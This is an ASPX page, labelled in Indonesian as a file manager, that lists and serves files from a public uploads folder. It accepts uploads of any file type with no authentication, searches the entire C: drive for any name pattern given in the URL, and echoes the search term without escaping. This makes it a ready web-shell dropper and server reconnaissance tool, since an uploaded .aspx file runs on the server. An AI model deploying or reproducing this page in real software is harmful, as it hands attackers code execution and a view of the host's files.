<%@ Page Language="C#" %> <%@ Import Namespace="System.IO" %>
<!DOCTYPE html>
File Manager ASPX <title>File Manager ASPX</title>
Daftar File di Directory Ini
<%
try
{
string uploadDir = Server.MapPath("~/uploads/");
Directory.CreateDirectory(uploadDir);Response.Write("<p><strong>Current Directory:</strong> " + uploadDir + "</p>");
string[] files = Directory.GetFiles(uploadDir);
Response.Write("<ul>");
foreach (string file in files)
{
string fileName = Path.GetFileName(file);
string fileUrl = Request.Url.GetLeftPart(UriPartial.Authority) + "/uploads/" + fileName;
Response.Write("<li><a href='" + fileUrl + "' target='_blank'>" + fileName + "</a></li>");
}
Response.Write("</ul>");
}
catch (Exception ex)
{
Response.Write("<p style='color:red;'>Error: " + ex.Message + "</p>");
}
%>
Upload File
<%
if (Request.HttpMethod == "POST")
{
try
{
if (Request.Files.Count > 0)
{
HttpPostedFile uploadedFile = Request.Files["uploadedFile"];
if (uploadedFile != null && uploadedFile.ContentLength > 0)
{
string uploadDir = Server.MapPath("~/uploads/");
string fileName = Path.GetFileName(uploadedFile.FileName);
string savePath = Path.Combine(uploadDir, fileName);
uploadedFile.SaveAs(savePath);
string fileUrl = Request.Url.GetLeftPart(UriPartial.Authority) + "/uploads/" + fileName;
Response.Write("<p style='color:green;'>Berhasil upload: <a href='" + fileUrl + "' target='_blank'>" + fileName + "</a></p>");
}
else
{
Response.Write("<p style='color:red;'>Upload gagal: File tidak valid.</p>");
}
}
}
catch (Exception ex)
{
Response.Write("<p style='color:red;'>Error saat upload: " + ex.Message + "</p>");
}
}
%>
Pencarian File
<%
if (!string.IsNullOrEmpty(Request.QueryString["searchFile"]))
{
try
{
string searchFileName = Request.QueryString["searchFile"];
string startPath = "C:\\"; // Sesuaikan dengan root path server
Response.Write("Hasil Pencarian untuk: " + searchFileName + "
");
Response.Write("<ul>");
foreach (string file in Directory.GetFiles(startPath, searchFileName, SearchOption.AllDirectories))
{
Response.Write("<li>" + file + "</li>");
}
Response.Write("</ul>");
}
catch (Exception ex)
{
Response.Write("<p style='color:red;'>Error saat mencari file: " + ex.Message + "</p>");
}
}
%>